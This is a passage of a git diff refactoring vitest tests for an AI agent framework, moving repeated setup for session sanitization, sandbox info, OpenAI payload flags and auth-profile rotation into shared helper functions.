`openclaw-subagents-steer-${Date.now()}-${Math.random().toString(16).slice(2)}.json`, ); - configOverride = { + setSubagentsConfigOverride({ session: { mainKey: "main", scope: "per-sender", store: storePath, }, - }; + }); fs.writeFileSync(storePath, "{}", "utf-8"); }); diff --git a/src/agents/openclaw-tools.subagents.test-harness.ts b/src/agents/openclaw-tools.subagents.test-harness.ts new file mode 100644 index 00000000000..e996e88d237 --- /dev/null +++ b/src/agents/openclaw-tools.subagents.test-harness.ts @@ -0,0 +1,35 @@ +import { vi } from "vitest"; + +export type LoadedConfig = ReturnType<(typeof import("../config/config.js"))["loadConfig"]>; + +export const callGatewayMock = vi.fn(); + +const defaultConfig: LoadedConfig = { + session: { + mainKey: "main", + scope: "per-sender", + }, +}; + +let configOverride: LoadedConfig = defaultConfig; + +export function setSubagentsConfigOverride(next: LoadedConfig) { + configOverride = next; +} + +export function resetSubagentsConfigOverride() { + configOverride = defaultConfig; +} + +vi.mock("../gateway/call.js", () => ({ + callGateway: (opts: unknown) => callGatewayMock(opts), +})); + +vi.mock("../config/config.js", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + loadConfig: () => configOverride, + resolveGatewayPort: () => 18789, + }; +}); diff --git a/src/agents/pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.e2e.test.ts b/src/agents/pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.e2e.test.ts index 4770a4b4d34..0a120aca5b0 100644 --- a/src/agents/pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.e2e.test.ts +++ b/src/agents/pi-embedded-helpers.sanitize-session-messages-images.removes-empty-assistant-text-blocks-but-preserves.e2e.test.ts @@ -5,89 +5,76 @@ import { sanitizeSessionMessagesImages, } from "./pi-embedded-helpers.js"; +function makeToolCallResultPairInput(): AgentMessage[] { + return [ + { + role: "assistant", + content: [ + { + type: "toolCall", + id: "call_123|fc_456", + name: "read", + arguments: { path: "package.json" }, + }, + ], + }, + { + role: "toolResult", + toolCallId: "call_123|fc_456", + toolName: "read", + content: [{ type: "text", text: "ok" }], + isError: false, + }, + ] as AgentMessage[]; +} + +function expectToolCallAndResultIds(out: AgentMessage[], expectedId: string) { + const assistant = out[0] as unknown as { role?: string; content?: unknown }; + expect(assistant.role).toBe("assistant"); + expect(Array.isArray(assistant.content)).toBe(true); + const toolCall = (assistant.content as Array<{ type?: string; id?: string }>).find( + (block) => block.type === "toolCall", + ); + expect(toolCall?.id).toBe(expectedId); + + const toolResult = out[1] as unknown as { + role?: string; + toolCallId?: string; + }; + expect(toolResult.role).toBe("toolResult"); + expect(toolResult.toolCallId).toBe(expectedId); +} + +function expectSingleAssistantContentEntry( + out: AgentMessage[], + expectEntry: (entry: { type?: string; text?: string }) => void, +) { + expect(out).toHaveLength(1); + const content = (out[0] as { content?: unknown }).content; + expect(Array.isArray(content)).toBe(true); + expect(content).toHaveLength(1); + expectEntry((content as Array<{ type?: string; text?: string }>)[0] ?? {}); +} + describe("sanitizeSessionMessagesImages", () => { it("keeps tool call + tool result IDs unchanged by default", async () => { - const input = [ - { - role: "assistant", - content: [ - { - type: "toolCall", - id: "call_123|fc_456", - name: "read", - arguments: { path: "package.json" }, - }, - ], - }, - { - role: "toolResult", - toolCallId: "call_123|fc_456", - toolName: "read", - content: [{ type: "text", text: "ok" }], - isError: false, - }, - ] satisfies AgentMessage[]; + const input = makeToolCallResultPairInput(); const out = await sanitizeSessionMessagesImages(input, "test"); - const assistant = out[0] as unknown as { role?: string; content?: unknown }; - expect(assistant.role).toBe("assistant"); - expect(Array.isArray(assistant.content)).toBe(true); - const toolCall = (assistant.content as Array<{ type?: string; id?: string }>).find( - (b) => b.type === "toolCall", - ); - expect(toolCall?.id).toBe("call_123|fc_456"); - - const toolResult = out[1] as unknown as { - role?: string; - toolCallId?: string; - }; - expect(toolResult.role).toBe("toolResult"); - expect(toolResult.toolCallId).toBe("call_123|fc_456"); + expectToolCallAndResultIds(out, "call_123|fc_456"); }); it("sanitizes tool call + tool result IDs in strict mode (alphanumeric only)", async () => { - const input = [ - { - role: "assistant", - content: [ - { - type: "toolCall", - id: "call_123|fc_456", - name: "read", - arguments: { path: "package.json" }, - }, - ], - }, - { - role: "toolResult", - toolCallId: "call_123|fc_456", - toolName: "read", - content: [{ type: "text", text: "ok" }], - isError: false, - }, - ] satisfies AgentMessage[]; + const input = makeToolCallResultPairInput(); const out = await sanitizeSessionMessagesImages(input, "test", { sanitizeToolCallIds: true, toolCallIdMode: "strict", }); - const assistant = out[0] as unknown as { role?: string; content?: unknown }; - expect(assistant.role).toBe("assistant"); - expect(Array.isArray(assistant.content)).toBe(true); - const toolCall = (assistant.content as Array<{ type?: string; id?: string }>).find( - (b) => b.type === "toolCall", - ); // Strict mode strips all non-alphanumeric characters - expect(toolCall?.id).toBe("call123fc456"); - - const toolResult = out[1] as unknown as { - role?: string; - toolCallId?: string; - }; - expect(toolResult.role).toBe("toolResult"); - expect(toolResult.toolCallId).toBe("call123fc456"); + expectToolCallAndResultIds(out, "call123fc456"); }); it("does not synthesize tool call input when missing", async () => { @@ -119,11 +106,9 @@ describe("sanitizeSessionMessagesImages", () => { const out = await sanitizeSessionMessagesImages(input, "test"); - expect(out).toHaveLength(1); - const content = (out[0] as { content?: unknown }).content; - expect(Array.isArray(content)).toBe(true); - expect(content).toHaveLength(1); - expect((content as Array<{ type?: string }>)[0]?.type).toBe("toolCall"); + expectSingleAssistantContentEntry(out, (entry) => { + expect(entry.type).toBe("toolCall"); + }); }); it("sanitizes tool ids in strict mode (alphanumeric only)", async () => { @@ -202,11 +187,9 @@ describe("sanitizeSessionMessagesImages", () => { const out = await sanitizeSessionMessagesImages(input, "test"); - expect(out).toHaveLength(1); - const content = (out[0] as { content?: unknown }).content; - expect(Array.isArray(content)).toBe(true); - expect(content).toHaveLength(1); - expect((content as Array<{ text?: string }>)[0]?.text).toBe("ok"); + expectSingleAssistantContentEntry(out, (entry) => { + expect(entry.text).toBe("ok"); + }); }); it("drops assistant messages that only contain empty text", async () => { const input = [ diff --git a/src/agents/pi-embedded-runner-extraparams.e2e.test.ts b/src/agents/pi-embedded-runner-extraparams.e2e.test.ts index db093750e18..b425f33c771 100644 --- a/src/agents/pi-embedded-runner-extraparams.e2e.test.ts +++ b/src/agents/pi-embedded-runner-extraparams.e2e.test.ts @@ -65,6 +65,27 @@ describe("resolveExtraParams", () => { }); describe("applyExtraParamsToAgent", () => { + function runStoreMutationCase(params: { + applyProvider: string; + applyModelId: string; + model: + | Model<"openai-responses"> + | Model<"openai-codex-responses"> + | Model<"openai-completions">; + options?: SimpleStreamOptions; + }) { + const payload = { store: false }; + const baseStreamFn: StreamFn = (_model, _context, options) => { + options?.onPayload?.(payload); + return new AssistantMessageEventStream(); + }; + const agent = { streamFn: baseStreamFn }; + applyExtraParamsToAgent(agent, undefined, params.applyProvider, params.applyModelId); + const context: Context = { messages: [] }; + void agent.streamFn?.(params.model, context, params.options ?? {}); + return payload; + } + it("adds OpenRouter attribution headers to stream options", () => { const calls: Array = []; const baseStreamFn: StreamFn = (_model, _context, options) => { @@ -93,71 +114,44 @@ describe("applyExtraParamsToAgent", () => { }); it("forces store=true for direct OpenAI Responses payloads", () => { - const payload = { store: false }; - const baseStreamFn: StreamFn = (_model, _context, options) => { - options?.onPayload?.(payload); - return new AssistantMessageEventStream(); - }; - const agent = { streamFn: baseStreamFn }; - - applyExtraParamsToAgent(agent, undefined, "openai", "gpt-5"); - - const model = { - api: "openai-responses", - provider: "openai", - id: "gpt-5", - baseUrl: "https://api.openai.com/v1", - } as Model<"openai-responses">; - const context: Context = { messages: [] }; - - void agent.streamFn?.(model, context, {}); - + const payload = runStoreMutationCase({ + applyProvider: "openai", + applyModelId: "gpt-5", + model: { + api: "openai-responses", + provider: "openai", + id: "gpt-5", + baseUrl: "https://api.openai.com/v1", + } as Model<"openai-responses">, + }); expect(payload.store).toBe(true); }); it("does not force store for OpenAI Responses routed through non-OpenAI base URLs", () => { - const payload = { store: false }; - const baseStreamFn: StreamFn = (_model, _context, options) => { - options?.onPayload?.(payload); - return new AssistantMessageEventStream(); - }; - const agent = { streamFn: baseStreamFn }; - - applyExtraParamsToAgent(agent, undefined, "openai", "gpt-5"); - - const model = { - api: "openai-responses", - provider: "openai", - id: "gpt-5", - baseUrl: "https://proxy.example.com/v1", - } as Model<"openai-responses">; - const context: Context = { messages: [] }; - - void agent.streamFn?.(model, context, {}); - + const payload = runStoreMutationCase({ + applyProvider: "openai", + applyModelId: "gpt-5", + model: { + api: "openai-responses", + provider: "openai", + id: "gpt-5", + baseUrl: "https://proxy.example.com/v1", + } as Model<"openai-responses">, + }); expect(payload.store).toBe(false); }); it("does not force store=true for Codex responses (Codex requires store=false)", () => { - const payload = { store: false }; - const baseStreamFn: StreamFn = (_model, _context, options) => { - options?.onPayload?.(payload); - return new AssistantMessageEventStream(); - }; - const agent = { streamFn: baseStreamFn }; - - applyExtraParamsToAgent(agent, undefined, "openai-codex", "codex-mini-latest"); - - const model = { - api: "openai-codex-responses", - provider: "openai-codex", - id: "codex-mini-latest", - baseUrl: "https://chatgpt.com/backend-api/codex/responses", - } as Model<"openai-codex-responses">; - const context: Context = { messages: [] }; - - void agent.streamFn?.(model, context, {}); - + const payload = runStoreMutationCase({ + applyProvider: "openai-codex", + applyModelId: "codex-mini-latest", + model: { + api: "openai-codex-responses", + provider: "openai-codex", + id: "codex-mini-latest", + baseUrl: "https://chatgpt.com/backend-api/codex/responses", + } as Model<"openai-codex-responses">, + }); expect(payload.store).toBe(false); }); }); diff --git a/src/agents/pi-embedded-runner.buildembeddedsandboxinfo.e2e.test.ts b/src/agents/pi-embedded-runner.buildembeddedsandboxinfo.e2e.test.ts index 35611c48693..128d16d6448 100644 --- a/src/agents/pi-embedded-runner.buildembeddedsandboxinfo.e2e.test.ts +++ b/src/agents/pi-embedded-runner.buildembeddedsandboxinfo.e2e.test.ts @@ -2,42 +2,47 @@ import { describe, expect, it } from "vitest"; import type { SandboxContext } from "./sandbox.js"; import { buildEmbeddedSandboxInfo } from "./pi-embedded-runner.js"; +function createSandboxContext(overrides?: Partial): SandboxContext { + const base = { + enabled: true, + sessionKey: "session:test", + workspaceDir: "/tmp/openclaw-sandbox", + agentWorkspaceDir: "/tmp/openclaw-workspace", + workspaceAccess: "none", + containerName: "openclaw-sbx-test", + containerWorkdir: "/workspace", + docker: { + image: "openclaw-sandbox:bookworm-slim", + containerPrefix: "openclaw-sbx-", + workdir: "/workspace", + readOnlyRoot: true, + tmpfs: ["/tmp"], + network: "none", + user: "1000:1000", + capDrop: ["ALL"], + env: { LANG: "C.UTF-8" }, + }, + tools: { + allow: ["exec"], + deny: ["browser"], + }, + browserAllowHostControl: true, + browser: { + bridgeUrl: "http://localhost:9222", + noVncUrl: "http://localhost:6080", + containerName: "openclaw-sbx-browser-test", + }, + } satisfies SandboxContext; + return { ...base, ...overrides }; +} + describe("buildEmbeddedSandboxInfo", () => { it("returns undefined when sandbox is missing", () => { expect(buildEmbeddedSandboxInfo()).toBeUndefined(); }); it("maps sandbox context into prompt info", () => { - const sandbox = { - enabled: true, - sessionKey: "session:test", - workspaceDir: "/tmp/openclaw-sandbox", - agentWorkspaceDir: "/tmp/openclaw-workspace", - workspaceAccess: "none", - containerName: "openclaw-sbx-test", - containerWorkdir: "/workspace", - docker: { - image: "openclaw-sandbox:bookworm-slim", - containerPrefix: "openclaw-sbx-", - workdir: "/workspace", - readOnlyRoot: true, - tmpfs: ["/tmp"], - network: "none", - user: "1000:1000", - capDrop: ["ALL"], - env: { LANG: "C.UTF-8" }, - }, - tools: { - allow: ["exec"], - deny: ["browser"], - }, - browserAllowHostControl: true, - browser: { - bridgeUrl: "http://localhost:9222", - noVncUrl: "http://localhost:6080", - containerName: "openclaw-sbx-browser-test", - }, - } satisfies SandboxContext; + const sandbox = createSandboxContext(); expect(buildEmbeddedSandboxInfo(sandbox)).toEqual({ enabled: true, @@ -52,31 +57,10 @@ describe("buildEmbeddedSandboxInfo", () => { }); it("includes elevated info when allowed", () => { - const sandbox = { - enabled: true, - sessionKey: "session:test", - workspaceDir: "/tmp/openclaw-sandbox", - agentWorkspaceDir: "/tmp/openclaw-workspace", - workspaceAccess: "none", - containerName: "openclaw-sbx-test", - containerWorkdir: "/workspace", - docker: { - image: "openclaw-sandbox:bookworm-slim", - containerPrefix: "openclaw-sbx-", - workdir: "/workspace", - readOnlyRoot: true, - tmpfs: ["/tmp"], - network: "none", - user: "1000:1000", - capDrop: ["ALL"], - env: { LANG: "C.UTF-8" }, - }, - tools: { - allow: ["exec"], - deny: ["browser"], - }, + const sandbox = createSandboxContext({ browserAllowHostControl: false, - } satisfies SandboxContext; + browser: undefined, + }); expect( buildEmbeddedSandboxInfo(sandbox, { diff --git a/src/agents/pi-embedded-runner.e2e.test.ts b/src/agents/pi-embedded-runner.e2e.test.ts index 0877412f93a..9f6059c3449 100644 --- a/src/agents/pi-embedded-runner.e2e.test.ts +++ b/src/agents/pi-embedded-runner.e2e.test.ts @@ -146,6 +146,32 @@ const nextSessionFile = () => { const testSessionKey = "agent:test:embedded"; const immediateEnqueue = async (task: () => Promise) => task(); +const runWithOrphanedSingleUserMessage = async (text: string) => { + const { SessionManager } = await import("@mariozechner/pi-coding-agent"); + const sessionFile = nextSessionFile(); + const sessionManager = SessionManager.open(sessionFile); + sessionManager.appendMessage({ + role: "user", + content: [{ type: "text", text }], + }); + + const cfg = makeOpenAiConfig(["mock-1"]); + await ensureModels(cfg); + return await runEmbeddedPiAgent({ + sessionId: "session:test", + sessionKey: testSessionKey, + sessionFile, + workspaceDir, + config: cfg, + prompt: "hello", + provider: "openai", + model: "mock-1", + timeoutMs: 5_000, + agentDir, + enqueue: immediateEnqueue, + }); +}; + const textFromContent = (content: unknown) => { if (typeof content === "string") { return content; @@ -172,6 +198,24 @@ const readSessionMessages = async (sessionFile: string) => { .map((entry) => entry.message as { role?: string; content?: unknown }); }; +const runDefaultEmbeddedTurn = async (sessionFile: string, prompt: string) => { + const cfg = makeOpenAiConfig(["mock-1"]); + await ensureModels(cfg); + await runEmbeddedPiAgent({ + sessionId: "session:test", + sessionKey: testSessionKey, + sessionFile, + workspaceDir, + config: cfg, + prompt, + provider: "openai", + model: "mock-1", + timeoutMs: 5_000, + agentDir, + enqueue: immediateEnqueue, + }); +}; + describe("runEmbeddedPiAgent", () => { it("writes models.json into the provided agentDir", async () => { const sessionFile = nextSessionFile(); @@ -289,22 +333,7 @@ describe("runEmbeddedPiAgent", () => { it("persists the first user message before assistant output", { timeout: 120_000 }, async () => { const sessionFile = nextSessionFile(); - const cfg = makeOpenAiConfig(["mock-1"]); - await ensureModels(cfg); - - await runEmbeddedPiAgent({ - sessionId: "session:test", - sessionKey: testSessionKey, - sessionFile, - workspaceDir, - config: cfg, - prompt: "hello", - provider: "openai", - model: "mock-1", - timeoutMs: 5_000, - agentDir, - enqueue: immediateEnqueue, - }); + await runDefaultEmbeddedTurn(sessionFile, "hello"); const messages = await readSessionMessages(sessionFile); const firstUserIndex = messages.findIndex( @@ -380,22 +409,7 @@ describe("runEmbeddedPiAgent", () => { timestamp: Date.now(), }); - const cfg = makeOpenAiConfig(["mock-1"]); - await ensureModels(cfg); - - await runEmbeddedPiAgent({ - sessionId: "session:test", - sessionKey: testSessionKey, - sessionFile, - workspaceDir, - config: cfg, - prompt: "hello", - provider: "openai", - model: "mock-1", - timeoutMs: 5_000, - agentDir, - enqueue: immediateEnqueue, - }); + await runDefaultEmbeddedTurn(sessionFile, "hello"); const messages = await readSessionMessages(sessionFile); const seedUserIndex = messages.findIndex( @@ -475,62 +489,14 @@ describe("runEmbeddedPiAgent", () => { }); it("repairs orphaned user messages and continues", async () => { - const { SessionManager } = await import("@mariozechner/pi-coding-agent"); - const sessionFile = nextSessionFile(); - - const sessionManager = SessionManager.open(sessionFile); - sessionManager.appendMessage({ - role: "user", - content: [{ type: "text", text: "orphaned user" }], - }); - - const cfg = makeOpenAiConfig(["mock-1"]); - await ensureModels(cfg); - - const result = await runEmbeddedPiAgent({ - sessionId: "session:test", - sessionKey: testSessionKey, - sessionFile, - workspaceDir, - config: cfg, - prompt: "hello", - provider: "openai", - model: "mock-1", - timeoutMs: 5_000, - agentDir, - enqueue: immediateEnqueue, - }); + const result = await runWithOrphanedSingleUserMessage("orphaned user"); expect(result.meta.error).toBeUndefined(); expect(result.payloads?.length ?? 0).toBeGreaterThan(0); }); it("repairs orphaned single-user sessions and continues", async () => { - const { SessionManager } = await import("@mariozechner/pi-coding-agent"); - const sessionFile = nextSessionFile(); - - const sessionManager = SessionManager.open(sessionFile); - sessionManager.appendMessage({ - role: "user", - content: [{ type: "text", text: "solo user" }], - }); - - const cfg = makeOpenAiConfig(["mock-1"]); - await ensureModels(cfg); - - const result = await runEmbeddedPiAgent({ - sessionId: "session:test", - sessionKey: testSessionKey, - sessionFile, - workspaceDir, - config: cfg, - prompt: "hello", - provider: "openai", - model: "mock-1", - timeoutMs: 5_000, - agentDir, - enqueue: immediateEnqueue, - }); + const result = await runWithOrphanedSingleUserMessage("solo user"); expect(result.meta.error).toBeUndefined(); expect(result.payloads?.length ?? 0).toBeGreaterThan(0); diff --git a/src/agents/pi-embedded-runner.google-sanitize-thinking.e2e.test.ts b/src/agents/pi-embedded-runner.google-sanitize-thinking.e2e.test.ts index ed4b5294064..cca36413d0a 100644 --- a/src/agents/pi-embedded-runner.google-sanitize-thinking.e2e.test.ts +++ b/src/agents/pi-embedded-runner.google-sanitize-thinking.e2e.test.ts @@ -3,85 +3,59 @@ import { SessionManager } from "@mariozechner/pi-coding-agent"; import { describe, expect, it } from "vitest"; import { sanitizeSessionHistory } from "./pi-embedded-runner/google.js"; +type AssistantThinking = { type?: string; thinking?: string; thinkingSignature?: string }; + +function getAssistantMessage(out: AgentMessage[]) { + return out.find((msg) => (msg as { role?: string }).role === "assistant") as + | { content?: AssistantThinking[] } + | undefined; +} + +async function sanitizeGoogleAssistantWithContent(content: unknown[]) { + const sessionManager = SessionManager.inMemory(); + const input = [ + { + role: "user", + content: "hi", + }, + { + role: "assistant", + content, + }, + ] satisfies AgentMessage[]; + + const out = await sanitizeSessionHistory({ + messages: input, + modelApi: "google-antigravity", + sessionManager, + sessionId: "session:google", + }); + + return getAssistantMessage(out); +} + describe("sanitizeSessionHistory (google thinking)", () => { it("keeps thinking blocks without signatures for Google models", async () => { - const sessionManager = SessionManager.inMemory(); - const input = [ - { - role: "user", - content: "hi", - }, - { - role: "assistant", - content: [{ type: "thinking", thinking: "reasoning" }], - }, - ] satisfies AgentMessage[]; - - const out = await sanitizeSessionHistory({ - messages: input, - modelApi: "google-antigravity", - sessionManager, - sessionId: "session:google", - }); - - const assistant = out.find((msg) => (msg as { role?: string }).role === "assistant") as { - content?: Array<{ type?: string; thinking?: string }>; - }; + const assistant = await sanitizeGoogleAssistantWithContent([ + { type: "thinking", thinking: "reasoning" }, + ]); expect(assistant.content?.map((block) => block.type)).toEqual(["thinking"]); expect(assistant.content?.[0]?.thinking).toBe("reasoning"); }); it("keeps thinking blocks with signatures for Google models", async () => { - const sessionManager = SessionManager.inMemory(); - const input = [ - { - role: "user", - content: "hi", - }, - { - role: "assistant", - content: [{ type: "thinking", thinking: "reasoning", thinkingSignature: "sig" }], - }, - ] satisfies AgentMessage[]; - - const out = await sanitizeSessionHistory({ - messages: input, - modelApi: "google-antigravity", - sessionManager, - sessionId: "session:google", - }); - - const assistant = out.find((msg) => (msg as { role?: string }).role === "assistant") as { - content?: Array<{ type?: string; thinking?: string; thinkingSignature?: string }>; - }; + const assistant = await sanitizeGoogleAssistantWithContent([ + { type: "thinking", thinking: "reasoning", thinkingSignature: "sig" }, + ]); expect(assistant.content?.map((block) => block.type)).toEqual(["thinking"]); expect(assistant.content?.[0]?.thinking).toBe("reasoning"); expect(assistant.content?.[0]?.thinkingSignature).toBe("sig"); }); it("keeps thinking blocks with Anthropic-style signatures for Google models", async () => { - const sessionManager = SessionManager.inMemory(); - const input = [ - { - role: "user", - content: "hi", - }, - { - role: "assistant", - content: [{ type: "thinking", thinking: "reasoning", signature: "sig" }], - }, - ] satisfies AgentMessage[]; - - const out = await sanitizeSessionHistory({ - messages: input, - modelApi: "google-antigravity", - sessionManager, - sessionId: "session:google", - }); - - const assistant = out.find((msg) => (msg as { role?: string }).role === "assistant") as { - content?: Array<{ type?: string; thinking?: string }>; - }; + const assistant = await sanitizeGoogleAssistantWithContent([ + { type: "thinking", thinking: "reasoning", signature: "sig" }, + ]); expect(assistant.content?.map((block) => block.type)).toEqual(["thinking"]); expect(assistant.content?.[0]?.thinking).toBe("reasoning"); }); diff --git a/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts b/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts index 83f757f13ab..1311f9d2b01 100644 --- a/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts +++ b/src/agents/pi-embedded-runner.run-embedded-pi-agent.auth-profile-rotation.e2e.test.ts @@ -120,55 +120,154 @@ const writeAuthStore = async ( await fs.writeFile(authPath, JSON.stringify(payload)); }; +const mockFailedThenSuccessfulAttempt = (errorMessage = "rate limit") => { + runEmbeddedAttemptMock + .mockResolvedValueOnce( + makeAttempt({ + assistantTexts: [], + lastAssistant: buildAssistant({ + stopReason: "error", + errorMessage, + }), + }), + ) + .mockResolvedValueOnce( + makeAttempt({ + assistantTexts: ["ok"], + lastAssistant: buildAssistant({ + stopReason: "stop", + content: [{ type: "text", text: "ok" }], + }), + }), + ); +}; + +async function runAutoPinnedOpenAiTurn(params: { + agentDir: string; + workspaceDir: string; + sessionKey: string; + runId: string; + authProfileId?: string; +}) { + await runEmbeddedPiAgent({ + sessionId: "session:test", + sessionKey: params.sessionKey, + sessionFile: path.join(params.workspaceDir, "session.jsonl"), + workspaceDir: params.workspaceDir, + agentDir: params.agentDir, + config: makeConfig(), + prompt: "hello", + provider: "openai", + model: "mock-1", + authProfileId: params.authProfileId ?? "openai:p1", + authProfileIdSource: "auto", + timeoutMs: 5_000, + runId: params.runId, + }); +} + +async function readUsageStats(agentDir: string) { + const stored = JSON.parse( + await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"), + ) as { usageStats?: Record }; + return stored.usageStats ?? {}; +} + +async function expectProfileP2UsageUpdated(agentDir: string) { + const usageStats = await readUsageStats(agentDir); + expect(typeof usageStats["openai:p2"]?.lastUsed).toBe("number"); +} + +async function expectProfileP2UsageUnchanged(agentDir: string) { + const usageStats = await readUsageStats(agentDir); + expect(usageStats["openai:p2"]?.lastUsed).toBe(2); +} + +function mockSingleSuccessfulAttempt() { + runEmbeddedAttemptMock.mockResolvedValueOnce( + makeAttempt({ + assistantTexts: ["ok"], + lastAssistant: buildAssistant({ + stopReason: "stop", + content: [{ type: "text", text: "ok" }], + }), + }), + ); +} + +async function withTimedAgentWorkspace( + run: (ctx: { agentDir: string; workspaceDir: string; now: number }) => Promise, +) { + vi.useFakeTimers(); + try { + const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-")); + const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-")); + const now = Date.now(); + vi.setSystemTime(now); + + try { + return await run({ agentDir, workspaceDir, now }); + } finally { + await fs.rm(agentDir, { recursive: true, force: true }); + await fs.rm(workspaceDir, { recursive: true, force: true }); + } + } finally { + vi.useRealTimers(); + } +} + +async function runTurnWithCooldownSeed(params: { + sessionKey: string; + runId: string; + authProfileId: string | undefined; + authProfileIdSource: "auto" | "user"; +}) { + return await withTimedAgentWorkspace(async ({ agentDir, workspaceDir, now }) => { + await writeAuthStore(agentDir, { + usageStats: { + "openai:p1": { lastUsed: 1, cooldownUntil: now + 60 * 60 * 1000 }, + "openai:p2": { lastUsed: 2 }, + }, + }); + mockSingleSuccessfulAttempt(); + + await runEmbeddedPiAgent({ + sessionId: "session:test", + sessionKey: params.sessionKey, + sessionFile: path.join(workspaceDir, "session.jsonl"), + workspaceDir, + agentDir, + config: makeConfig(), + prompt: "hello", + provider: "openai", + model: "mock-1", + authProfileId: params.authProfileId, + authProfileIdSource: params.authProfileIdSource, + timeoutMs: 5_000, + runId: params.runId, + }); + + expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1); + return { usageStats: await readUsageStats(agentDir), now }; + }); +} + describe("runEmbeddedPiAgent auth profile rotation", () => { it("rotates for auto-pinned profiles", async () => { const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-")); const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-")); try { await writeAuthStore(agentDir); - - runEmbeddedAttemptMock - .mockResolvedValueOnce( - makeAttempt({ - assistantTexts: [], - lastAssistant: buildAssistant({ - stopReason: "error", - errorMessage: "rate limit", - }), - }), - ) - .mockResolvedValueOnce( - makeAttempt({ - assistantTexts: ["ok"], - lastAssistant: buildAssistant({ - stopReason: "stop", - content: [{ type: "text", text: "ok" }], - }), - }), - ); - - await runEmbeddedPiAgent({ - sessionId: "session:test", - sessionKey: "agent:test:auto", - sessionFile: path.join(workspaceDir, "session.jsonl"), - workspaceDir, + mockFailedThenSuccessfulAttempt("rate limit"); + await runAutoPinnedOpenAiTurn({ agentDir, - config: makeConfig(), - prompt: "hello", - provider: "openai", - model: "mock-1", - authProfileId: "openai:p1", - authProfileIdSource: "auto", - timeoutMs: 5_000, + workspaceDir, + sessionKey: "agent:test:auto", runId: "run:auto", }); expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2); - - const stored = JSON.parse( - await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"), - ) as { usageStats?: Record }; - expect(typeof stored.usageStats?.["openai:p2"]?.lastUsed).toBe("number"); + await expectProfileP2UsageUpdated(agentDir); } finally { await fs.rm(agentDir, { recursive: true, force: true }); await fs.rm(workspaceDir, { recursive: true, force: true }); @@ -180,49 +279,16 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-")); try { await writeAuthStore(agentDir); - - runEmbeddedAttemptMock - .mockResolvedValueOnce( - makeAttempt({ - assistantTexts: [], - lastAssistant: buildAssistant({ - stopReason: "error", - errorMessage: "request ended without sending any chunks", - }), - }), - ) - .mockResolvedValueOnce( - makeAttempt({ - assistantTexts: ["ok"], - lastAssistant: buildAssistant({ - stopReason: "stop", - content: [{ type: "text", text: "ok" }], - }), - }), - ); - - await runEmbeddedPiAgent({ - sessionId: "session:test", - sessionKey: "agent:test:empty-chunk-stream", - sessionFile: path.join(workspaceDir, "session.jsonl"), - workspaceDir, + mockFailedThenSuccessfulAttempt("request ended without sending any chunks"); + await runAutoPinnedOpenAiTurn({ agentDir, - config: makeConfig(), - prompt: "hello", - provider: "openai", - model: "mock-1", - authProfileId: "openai:p1", - authProfileIdSource: "auto", - timeoutMs: 5_000, + workspaceDir, + sessionKey: "agent:test:empty-chunk-stream", runId: "run:empty-chunk-stream", }); expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(2); - - const stored = JSON.parse( - await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"), - ) as { usageStats?: Record }; - expect(typeof stored.usageStats?.["openai:p2"]?.lastUsed).toBe("number"); + await expectProfileP2UsageUpdated(agentDir); } finally { await fs.rm(agentDir, { recursive: true, force: true }); await fs.rm(workspaceDir, { recursive: true, force: true }); @@ -267,10 +333,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1); expect(result.meta.aborted).toBe(true); - const stored = JSON.parse( - await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"), - ) as { usageStats?: Record }; - expect(stored.usageStats?.["openai:p2"]?.lastUsed).toBe(2); + await expectProfileP2UsageUnchanged(agentDir); } finally { await fs.rm(agentDir, { recursive: true, force: true }); await fs.rm(workspaceDir, { recursive: true, force: true }); @@ -310,11 +373,7 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }); expect(runEmbeddedAttemptMock).toHaveBeenCalledTimes(1); - - const stored = JSON.parse( - await fs.readFile(path.join(agentDir, "auth-profiles.json"), "utf-8"), - ) as { usageStats?: Record }; - expect(stored.usageStats?.["openai:p2"]?.lastUsed).toBe(2); + await expectProfileP2UsageUnchanged(agentDir); } finally { await fs.rm(agentDir, { recursive: true, force: true }); await fs.rm(workspaceDir, { recursive: true, force: true }); @@ -322,71 +381,16 @@ describe("runEmbeddedPiAgent auth profile rotation", () => { }); it("honors user-pinned profiles even when in cooldown", async () => { - vi.useFakeTimers(); - try { - const agentDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-agent-")); - const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-workspace-")); - const now = Date.now(); - vi.setSystemTime(now); + const { usageStats } = await runTurnWithCooldownSeed({ + sessionKey: "agent:test:user-cooldown", + runId: "run:user-cooldown", + authProfileId: "openai:p1", + authProfileIdSource: "user", + }); - try { - const authPath = path.join(agentDir, "auth-profiles.json"); - const payload = { - version: 1, - profiles: { - "openai:p1": { type: "api_key", provider: "openai", key: "sk-one" }, - "openai:p2": { type: "api_key", provider: "openai", key: "sk-two" }, - }, - usageStats: { - "openai:p1": { lastUsed: 1, cooldownUntil: now + 60 * 60 * 1000 }, - "openai:p2": { lastUsed: 2 }, - }, - }; - await fs.writeFile(authPath, JSON.stringify(payload)); - - runEmbeddedAttemptMock.mockResolvedValueOnce( - makeAttempt({ - assistantTexts: 